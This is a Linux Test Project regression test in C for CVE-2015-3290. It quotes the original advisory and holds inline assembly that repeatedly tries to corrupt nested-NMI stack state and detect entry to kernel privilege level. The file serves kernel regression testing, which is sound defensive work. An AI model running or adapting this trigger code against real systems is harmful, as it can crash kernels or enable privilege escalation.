xref: /aosp_15_r20/external/ltp/testcases/cve/cve-2015-3290.c (revision 49cdfc7efb34551c7342be41a7384b9c40d7cab7)
1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3  * Copyright (c) 2017 Pavel Boldin <[email protected]>
4  * Copyright (c) 2018-2022 Linux Test Project
5  */
6 
7 /*
8 
9 NOTE: rather than checking for full nested NMI exploitation we simply check
10 that the NMI stack state can be corrupted with this code.
11 
12 http://www.openwall.com/lists/oss-security/2015/08/04/8
13 
14 > +++++ CVE-2015-3290 +++++
15 >
16 > High impact NMI bug on x86_64 systems 3.13 and newer, embargoed.  Also fixed
17 by:
18 >
19 > https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9b6e6a8334d56354853f9c255d1395c2ba570e0a
20 >
21 > The other fix (synchronous modify_ldt) does *not* fix CVE-2015-3290.
22 >
23 > You can mitigate CVE-2015-3290 by blocking modify_ldt or
24 > perf_event_open using seccomp.  A fully-functional, portable, reliable
25 > exploit is privately available and will be published in a week or two.
26 > *Patch your systems*
27 
28 And here's a real advisory:
29 
30 If an NMI returns via espfix64 and is interrupted during espfix64 setup
31 by another NMI, the return state is corrupt.  This is exploitable for
32 reliable privilege escalation on any Linux x86_64 system in which
33 untrusted code can arrange for espfix64 to be invoked and for NMIs to be
34 nested.
35 
36 Glossing over a lot of details, the basic structure of Linux' nested NMI
37 handling is:
38 
39 nmi_handler:
40     if (in_nmi) {
41 	nmi_latched = true;
42 	return;
43     }
44     in_nmi = true;
45     handle the nmi;
46     atomically (this is magic):
47 	if (nmi_latched) {
48 	    nmi_latched = false;
49 	    start over;
50 	} else {
51 	    in_nmi = false;
52 	    return and unmask NMIs;
53 	}
54 
55 Alas, on x86_64, there is no reasonable way to block NMIs to run the
56 atomic part of that pseudocode atomically.  Instead, the entire atomic
57 piece is implemented by the single instruction IRET.
58 
59 But x86_64 is more broken than just that.  The IRET instruction does not
60 restore register state correctly [1] when returning to a 16-bit stack
61 segment.  x86_64 has a complicated workaround called espfix64.  If
62 espfix64 is invoked on return, a well-behaved IRET is emulated by a
63 complicated scheme that involves manually switching stacks.  During the
64 stack switch, there is a window of approximately 19 instructions between
65 the start of espfix64's access to the original stack and when espfix64
66 is done with the original stack.  If a nested NMI occurs during this
67 window, then the atomic part of the basic nested NMI algorithm is
68 observably non-atomic.
69 
70 Depending on exactly where in this window the nested NMI hits, the
71 results vary.  Most nested NMIs will corrupt the return context and
72 crash the calling process.  Some are harmless except that the nested NMI
73 gets ignored.  There is a two-instruction window in which the return
74 context ends up with user-controlled RIP and CS set to __KERNEL_CS.
75 
76 A careful exploit (attached) can recover from all the crashy failures
77 and can regenerate a valid *privileged* state if a nested NMI occurs
78 during the two-instruction window.  This exploit appears to work
79 reasonably quickly across a fairly wide range of Linux versions.
80 
81 If you have SMEP, this exploit is likely to panic the system.  Writing
82 a usable exploit against a SMEP system would be considerably more
83 challenging, but it's surely possible.
84 
85 Measures like UDEREF are unlikely to help, because this bug is outside
86 any region that can be protected using paging or segmentation tricks.
87 However, recent grsecurity kernels seem to forcibly disable espfix64, so
88 they're not vulnerable in the first place.
89 
90 A couple of notes:
91 
92   - This exploit's payload just prints the text "CPL0".  The exploit
93     will keep going after printing CPL0 so you can enjoy seeing the
94     frequency with which it wins.  Interested parties could easily
95     write different payloads.  I doubt that any existing exploit
96     mitigation techniques would be useful against this type of
97     attack.
98 
99   - If you are using a kernel older than v4.1, a 64-bit build of the
100     exploit will trigger a signal handling bug and crash.  Defenders
101     should not rejoice, because the exploit works fine when build
102     as a 32-bit binary or (so I'm told) as an x32 binary.
103 
104   - This is the first exploit I've ever written that contains genuine
105     hexadecimal code.  The more assembly-minded among you can have
106     fun figuring out why :)
107 
108 [1] By "correctly", I mean that the register state ends up different
109 from that which was saved in the stack frame, not that the
110 implementation doesn't match the spec in the microcode author's minds.
111 The spec is simply broken (differently on AMD and Intel hardware,
112 perhaps unsurprisingly.)
113 
114 --Andy
115 */
116 
117 #include "config.h"
118 #include "tst_test.h"
119 #include "tst_timer.h"
120 
121 #if defined(__x86_64__) || defined(__i386__)
122 
123 #include <stdlib.h>
124 #include <stdio.h>
125 #include <inttypes.h>
126 #include <asm/ldt.h>
127 #include <unistd.h>
128 #include <sys/syscall.h>
129 #include <setjmp.h>
130 #include <signal.h>
131 #include <string.h>
132 #include <sys/wait.h>
133 #include <linux/perf_event.h>
134 
135 #include "lapi/syscalls.h"
136 #include "tst_safe_pthread.h"
137 
138 /* Abstractions for some 32-bit vs 64-bit differences. */
139 #ifdef __x86_64__
140 # define REG_IP REG_RIP
141 # define REG_SP REG_RSP
142 # define REG_AX REG_RAX
143 
144 struct selectors {
145 	unsigned short cs, gs, fs, ss;
146 };
147 
148 LTP_ATTRIBUTE_UNUSED
ssptr(ucontext_t * ctx)149 static unsigned short *ssptr(ucontext_t *ctx)
150 {
151 	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
152 	return &sels->ss;
153 }
154 
155 LTP_ATTRIBUTE_UNUSED
csptr(ucontext_t * ctx)156 static unsigned short *csptr(ucontext_t *ctx)
157 {
158 	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
159 	return &sels->cs;
160 }
161 #else
162 # define REG_IP  REG_EIP
163 # define REG_SP  REG_ESP
164 # define REG_AX  REG_EAX
165 # define REG_CR2 (REG_SS + 3)
166 
167 LTP_ATTRIBUTE_UNUSED
ssptr(ucontext_t * ctx)168 static greg_t *ssptr(ucontext_t *ctx)
169 {
170 	return &ctx->uc_mcontext.gregs[REG_SS];
171 }
172 
173 LTP_ATTRIBUTE_UNUSED
csptr(ucontext_t * ctx)174 static greg_t *csptr(ucontext_t *ctx)
175 {
176 	return &ctx->uc_mcontext.gregs[REG_CS];
177 }
178 #endif
179 
180 static volatile long expected_rsp;
181 static int running = 1;
182 
set_ldt(void)183 static void set_ldt(void)
184 {
185 	/* Boring 16-bit data segment. */
186 	const struct user_desc data_desc = {
187 		.entry_number    = 0,
188 		.base_addr       = 0,
189 		.limit	   = 0xfffff,
190 		.seg_32bit       = 0,
191 		.contents	= 0, /* Data, expand-up */
192 		.read_exec_only  = 0,
193 		.limit_in_pages  = 0,
194 		.seg_not_present = 0,
195 		.useable	 = 0
196 	};
197 
198 	TEST((int)tst_syscall(__NR_modify_ldt, 1, &data_desc,
199 		sizeof(data_desc)));
200 	if (TST_RET == -EINVAL) {
201 		tst_brk(TCONF | TRERRNO,
202 			"modify_ldt: 16-bit data segments are probably disabled");
203 	} else if (TST_RET != 0) {
204 		tst_brk(TBROK | TRERRNO, "modify_ldt");
205 	}
206 }
207 
try_corrupt_stack(unsigned short orig_ss)208 static void try_corrupt_stack(unsigned short orig_ss)
209 {
210 #ifdef __x86_64__
211 	asm volatile (
212 	      /* A small puzzle for the curious reader. */
213 	      "mov    $2048, %%rbp    \n\t"
214 
215 	      /* Save rsp for diagnostics */
216 	      "mov    %%rsp, %[expected_rsp] \n\t"
217 
218 	      /*
219 	       * Let 'er rip.
220 	       */
221 	      "mov    %[ss], %%ss \n\t"   /* begin corruption */
222 	      "movl   $1000, %%edx    \n\t"
223 	      "1:  decl   %%edx       \n\t"
224 	      "jnz    1b      \n\t"
225 	      "mov    %%ss, %%eax \n\t"   /* grab SS to display */
226 
227 	      /* Did we enter CPL0? */
228 	      "mov    %%cs, %%dx  \n\t"
229 	      "testw  $3, %%dx    \n\t"
230 	      "jnz    2f      \n\t"
231 	      "leaq   3f(%%rip), %%rcx  \n\t"
232 	      "movl   $0x200, %%r11d  \n\t"
233 	      "sysretq	\n\t"
234 	      "2:	     \n\t"
235 
236 	      /*
237 	       * Stop further corruption.  We need to check CPL
238 	       * first because we need RPL == CPL.
239 	       */
240 	      "mov    %[orig_ss], %%ss \n\t"  /* end corruption */
241 
242 	      "subq   $128, %%rsp \n\t"
243 	      "pushfq	 \n\t"
244 	      "testl  $(1<<9),(%%rsp)   \n\t"
245 	      "addq   $136, %%rsp \n\t"
246 	      "jz 3f      \n\t"
247 	      "cmpl   %[ss], %%eax    \n\t"
248 	      "je 4f      \n\t"
249 	      "3:  int3	   \n\t"
250 	      "4:	     \n\t"
251 	      : [expected_rsp] "=m" (expected_rsp)
252 	      : [ss] "r" (0x7), [orig_ss] "m" (orig_ss)
253 		 : "rax", "rcx", "rdx", "rbp", "r11", "flags"
254 	);
255 #else
256 	asm volatile (
257 	      /* A small puzzle for the curious reader. */
258 	      "mov    %%ebp, %%esi    \n\t"
259 	      "mov    $2048, %%ebp    \n\t"
260 
261 	      /* Save rsp for diagnostics */
262 	      "mov    %%esp, %[expected_rsp] \n\t"
263 
264 	      /*
265 	       * Let 'er rip.
266 	       */
267 	      "mov    %[ss], %%ss \n\t"   /* begin corruption */
268 	      "movl   $1000, %%edx    \n\t"
269 	      "1:  .byte 0xff, 0xca   \n\t"   /* decl %edx */
270 	      "jnz    1b      \n\t"
271 	      "mov    %%ss, %%eax \n\t"   /* grab SS to display */
272 
273 	      /* Did we enter CPL0? */
274 	      "mov    %%cs, %%dx  \n\t"
275 	      "testw  $3, %%dx    \n\t"
276 	      "jnz    2f      \n\t"
277 	      ".code64	\n\t"
278 	      "leaq   3f(%%rip), %%rcx \n\t"
279 	      "movl   $0x200, %%r11d  \n\t"
280 	      "sysretl	\n\t"
281 	      ".code32	\n\t"
282 	      "2:	     \n\t"
283 
284 	      /*
285 	       * Stop further corruption.  We need to check CPL
286 	       * first because we need RPL == CPL.
287 	       */
288 	      "mov    %[orig_ss], %%ss \n\t"  /* end corruption */
289 
290 	      "pushf	  \n\t"
291 	      "testl  $(1<<9),(%%esp)   \n\t"
292 	      "addl   $4, %%esp   \n\t"
293 	      "jz 3f      \n\t"
294 	      "cmpl   %[ss], %%eax    \n\t"
295 	      "je 4f      \n\t"
296 	      "3:  int3	   \n\t"
297 	      "4:  mov %%esi, %%ebp   \n\t"
298 	      : [expected_rsp] "=m" (expected_rsp)
299 	      : [ss] "r" (0x7), [orig_ss] "m" (orig_ss)
300 		 : "eax", "ecx", "edx", "esi", "flags"
301 	);
302 #endif
303 }
304 
perf_event_open(struct perf_event_attr * hw_event,pid_t pid,int cpu,int group_fd,unsigned long flags)305 static int perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
306 			   int cpu, int group_fd, unsigned long flags)
307 {
308 	int ret;
309 
310 	ret = tst_syscall(__NR_perf_event_open, hw_event, pid, cpu,
311 			  group_fd, flags);
312 	return ret;
313 }
314 
315 static int event_mlock_kb;
316 static int max_sample_rate;
317 
child_thread(void * arg LTP_ATTRIBUTE_UNUSED)318 static void *child_thread(void *arg LTP_ATTRIBUTE_UNUSED)
319 {
320 	long niter = 0;
321 	unsigned short orig_ss;
322 
323 	struct perf_event_attr pe = {
324 		.size = sizeof(struct perf_event_attr),
325 		.disabled = 0,
326 		.exclude_kernel = 0,
327 		.exclude_hv = 0,
328 		.freq = 1,
329 		.sample_type = PERF_SAMPLE_IP|PERF_SAMPLE_TID|
330 			PERF_SAMPLE_TIME|PERF_SAMPLE_CALLCHAIN|
331 			PERF_SAMPLE_ID|PERF_SAMPLE_PERIOD,
332 	};
333 	/* Workaround bug in GCC 4.4.7 (CentOS6) */
334 	pe.sample_freq = max_sample_rate / 5;
335 
336 	struct {
337 		uint32_t type;
338 		uint64_t config;
339 		const char *name;
340 	} perf_events[] = {
341 		{
342 			.type = PERF_TYPE_HARDWARE,
343 			.config = PERF_COUNT_HW_INSTRUCTIONS,
344 			.name = "hw instructions",
345 		},
346 		{
347 			.type = PERF_TYPE_HARDWARE,
348 			.config = PERF_COUNT_HW_CACHE_REFERENCES,
349 			.name = "hw cache references",
350 		},
351 	};
352 
353 	void *perf_mmaps[ARRAY_SIZE(perf_events)];
354 	unsigned int i;
355 
356 	for (i = 0; i < ARRAY_SIZE(perf_events); i++) {
357 		int fd;
358 
359 		pe.type = perf_events[i].type;
360 		pe.config = perf_events[i].config;
361 
362 		fd = perf_event_open(&pe, 0, -1, -1, 0);
363 		if (fd == -1) {
364 			if (errno == EINVAL || errno == ENOENT ||
365 			    errno == EBUSY)
366 				tst_brk(TCONF | TERRNO,
367 					"no hardware counters");
368 			else
369 				tst_brk(TBROK | TERRNO, "perf_event_open");
370 			/* tst_brk exits */
371 		}
372 
373 		perf_mmaps[i] = SAFE_MMAP(NULL, event_mlock_kb * 1024,
374 					  PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
375 		SAFE_CLOSE(fd);
376 	}
377 
378 	asm volatile ("mov %%ss, %0" : "=rm" (orig_ss));
379 
380 	for (niter = 0; running && niter < 1000*1000*1000L; niter++) {
381 
382 		try_corrupt_stack(orig_ss);
383 
384 		/*
385 		 * If we ended up with IF == 0, there's no easy way to fix
386 		 * it.  Instead, make frequent syscalls to avoid hanging
387 		 * the system.
388 		 */
389 		syscall(0x3fffffff);
390 	}
391 
392 	for (i = 0; i < ARRAY_SIZE(perf_events); i++)
393 		if (perf_mmaps[i] != MAP_FAILED)
394 			SAFE_MUNMAP(perf_mmaps[i], 512 * 1024);
395 
396 	return (void *)niter;
397 }
398 
do_child(void)399 static void do_child(void)
400 {
401 	int i, ncpus;
402 	pthread_t *threads;
403 	long iter, total_iter = 0;
404 
405 	tst_res(TINFO, "attempting to corrupt nested NMI stack state");
406 
407 	set_ldt();
408 
409 	ncpus = tst_ncpus();
410 	threads = SAFE_MALLOC(sizeof(*threads) * ncpus);
411 
412 	for (i = 0; i < ncpus; i++)
413 		SAFE_PTHREAD_CREATE(&threads[i], NULL, child_thread, NULL);
414 
415 	sleep(tst_remaining_runtime());
416 	running = 0;
417 
418 	for (i = 0; i < ncpus; i++) {
419 		SAFE_PTHREAD_JOIN(threads[i], (void **)&iter);
420 		total_iter += iter;
421 	}
422 	free(threads);
423 
424 	tst_res(TPASS, "can't corrupt nested NMI state after %ld iterations",
425 		total_iter);
426 }
427 
setup(void)428 static void setup(void)
429 {
430         /*
431          * According to perf_event_open's manpage, the official way of
432          * knowing if perf_event_open() support is enabled is checking for
433          * the existence of the file /proc/sys/kernel/perf_event_paranoid.
434          */
435 	if (access("/proc/sys/kernel/perf_event_paranoid", F_OK) == -1)
436 		tst_brk(TCONF, "Kernel doesn't have perf_event support");
437 
438 	SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_mlock_kb",
439 			"%d", &event_mlock_kb);
440 	SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_max_sample_rate",
441 			"%d", &max_sample_rate);
442 }
443 
run(void)444 static void run(void)
445 {
446 	pid_t pid;
447 	int status;
448 
449 
450 	pid = SAFE_FORK();
451 	if (pid == 0) {
452 		do_child();
453 		return;
454 	}
455 
456 	SAFE_WAITPID(pid, &status, 0);
457 	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV)
458 		tst_res(TFAIL, "corrupted NMI stack");
459 	else if (WIFEXITED(status) && WEXITSTATUS(status) != 0)
460 		tst_res(WEXITSTATUS(status), "Propogate child status");
461 }
462 
463 static struct tst_test test = {
464 	.forks_child = 1,
465 	.needs_root = 1,
466 	.needs_checkpoints = 1,
467 	.setup = setup,
468 	.max_runtime = 180,
469 	.test_all = run,
470 	.tags = (const struct tst_tag[]) {
471 		{"linux-git", "9b6e6a8334d5"},
472 		{"CVE", "2015-3290"},
473 		{}
474 	}
475 };
476 
477 #else /* defined(__x86_64__) || defined(__i386__) */
478 
479 TST_TEST_TCONF("not (i386 or x86_64)");
480 
481 #endif
482